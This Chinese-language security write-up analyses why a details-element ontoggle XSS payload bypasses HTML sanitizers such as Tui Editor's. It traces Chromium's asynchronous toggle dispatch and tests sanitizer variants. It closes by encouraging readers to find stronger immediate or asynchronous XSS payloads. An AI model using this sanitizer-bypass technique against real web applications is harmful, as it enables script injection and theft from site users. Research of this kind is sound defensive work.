首先触发代码的点是在`DispatchPendingEvent`函数里
void HTMLDetailsElement::DispatchPendingEvent(
const AttributeModificationReason reason) {
if (reason == AttributeModificationReason::kByParser)
GetDocument().SetToggleDuringParsing(true);
DispatchEvent(*Event::Create(event_type_names::kToggle));
if (reason == AttributeModificationReason::kByParser)
GetDocument().SetToggleDuringParsing(false);
}
而这个函数是在`ParseAttribute`被调用的
void HTMLDetailsElement::ParseAttribute(
const AttributeModificationParams& params) {
if (params.name == html_names::kOpenAttr) {
bool old_value = is_open_;
is_open_ = !params.new_value.IsNull();
if (is_open_ == old_value)
return;
// Dispatch toggle event asynchronously.
pending_event_ = PostCancellableTask(
*GetDocument().GetTaskRunner(TaskType::kDOMManipulation), FROM_HERE,
WTF::Bind(&HTMLDetailsElement::DispatchPendingEvent,
WrapPersistent(this), params.reason));
....
return;
}
HTMLElement::ParseAttribute(params);
}
`ParseAttribute`正是在解析文档处理标签属性的时候被调用的。注释也写到了，分发toggle事件的操作是异步的。可以看到下面的代码是通过`PostCancellableTask`来进行回调触发的，并且传递了一个`TaskRunner`。
TaskHandle PostCancellableTask(base::SequencedTaskRunner& task_runner,
const base::Location& location,
base::OnceClosure task) {
DCHECK(task_runner.RunsTasksInCurrentSequence());
scoped_refptr<TaskHandle::Runner> runner =
base::AdoptRef(new TaskHandle::Runner(std::move(task)));
task_runner.PostTask(location,
WTF::Bind(&TaskHandle::Runner::Run, runner->AsWeakPtr(),
TaskHandle(runner)));
return TaskHandle(runner);
}
跟进`PostCancellableTask`的代码则会发现，回调函数（被封装成task）正是通过传递的`TaskRunner`去派遣执行。
清楚调用流程以后，就可以思考，为什么无法触发这个事件呢？最大的可能性，就是在任务交给`TaskRunner`以后又被取消了。因为是异步调用，而且`PostCancellableTask`这个函数名也暗示了这一点。
### 实验验证
可以做一个实验来验证，修改小挑战代码，将sanitizer部分延时执行。
const data = decodeURIComponent(location.hash.substr(1));;
const root = document.createElement('div');
root.innerHTML = data;
setTimeout( () => {
for (let el of root.querySelectorAll('*')) {
let attrs = [];
for (let attr of el.attributes) {
attrs.push(attr.name);
}
for (let name of attrs) {
el.removeAttribute(name);
}
}
document.body.appendChild(root)
} , 2000)
**代码修改前：**
执行失败。
**代码修改后：**
可以看到，确实成功执行了事件代码。
那么回过头来想一下，为什么P牛测试Tui的时候直接成功，我却在修改前的挑战代码中失败？看一下Tui的处理这部分内容的相关代码。<https://github.com/nhn/tui.editor/blob/48a01f5/apps/editor/src/sanitizer/htmlSanitizer.ts>
export function sanitizeHTML(html: string) {
const root = document.createElement('div');
if (isString(html)) {
html = html.replace(reComment, '').replace(reXSSOnload, '$1');
root.innerHTML = html;
}
removeUnnecessaryTags(root);
leaveOnlyWhitelistAttribute(root);
return finalizeHtml(root, true) as string;
}
`sanitizeHTML`函数是处理用户输入的部分。比起挑战的代码，这里多了正则过滤，移除黑名单标签(removeUnnecessaryTags)，不过不会移除所有标签而是留下了部分白名单标签(leaveOnlyWhitelistAttribute)。最神奇的地方来了，
**details标签也是黑名单的一员**
，这也是我一开始无法理解为何这个payload能成功执行的原因。但现在我们理清楚调用流程以后，可以有一个大胆的猜测：
**正是因为details在黑名单里，所以被移除以后其属性没有被直接修改，所以事件依然在队列中没有被取消。**
再进行一个实验来验证，对挑战的代码做一些修改，增加移除标签的代码。
const data = decodeURIComponent(location.hash.substr(1));;
const root = document.createElement('div');
root.innerHTML = data;
let details = root.querySelector("details")
root.removeChild(details)
for (let el of root.querySelectorAll('*')) {
let attrs = [];
for (let attr of el.attributes) {
attrs.push(attr.name);
}
for (let name of attrs) {
el.removeAttribute(name);
}
}
成功执行了代码！
### 小结
所以我们可以得到结论， **details标签的toggle事件是异步触发的，并且直接对details标签的移除不会清除原先通过属性设置的异步任务** 。
## 思考
对于DOM XSS，我们是通过操作DOM来引入代码，但由于浏览器的限制，我们无法像这样`root.innerHTML =
"<script>..</script>"` 直接执行插入的代码，因此，一般需要通过事件触发。通过上面的例子，可以发现依据事件触发的时机能进一步区分DOM
XSS：
1. 立即型，操作DOM时触发。套嵌的svg可以实现
2. 异步型，操作DOM后，异步触发。details可以实现
3. 滞后型，操作DOM后，由其他代码触发。img等常见payload可以实现
从危害来看，明显是1>2>3，特别是1，可以直接无视后续的sanitizer操作。因此，师傅们可以研究浏览器的相关代码，通过这个方向来找到杀伤力更大的第一种或第二种类型的payload。
## 参考链接
1. [一次对 Tui Editor XSS 的挖掘与分析](https://www.leavesongs.com/PENETRATION/a-tour-of-tui-editor-xss.html)
2. [从Chrome源码看JavaScript的执行（上）](https://xz.aliyun.com/t/2480)
3. [浏览器的工作原理：新式网络浏览器幕后揭秘](https://www.html5rocks.com/zh/tutorials/internals/howbrowserswork)
4. [浏览器内核原理—Chromium Blink Html解析(2)](https://zhuanlan.zhihu.com/p/50628909)
5. [从Chrome源码看事件循环](https://www.yinchengli.com/2018/11/04/chrome-event-loop/comment-page-1/) | 社区文章 |
Subsets and Splits